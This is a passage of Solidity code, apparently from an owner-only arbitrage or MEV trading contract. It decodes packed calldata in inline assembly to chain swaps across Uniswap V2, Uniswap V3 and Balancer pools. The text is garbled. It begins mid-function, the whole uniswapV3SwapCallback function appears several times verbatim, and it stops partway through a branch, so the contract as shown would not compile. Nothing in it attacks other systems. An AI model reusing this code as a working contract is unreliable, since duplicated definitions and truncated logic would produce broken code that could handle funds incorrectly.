pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
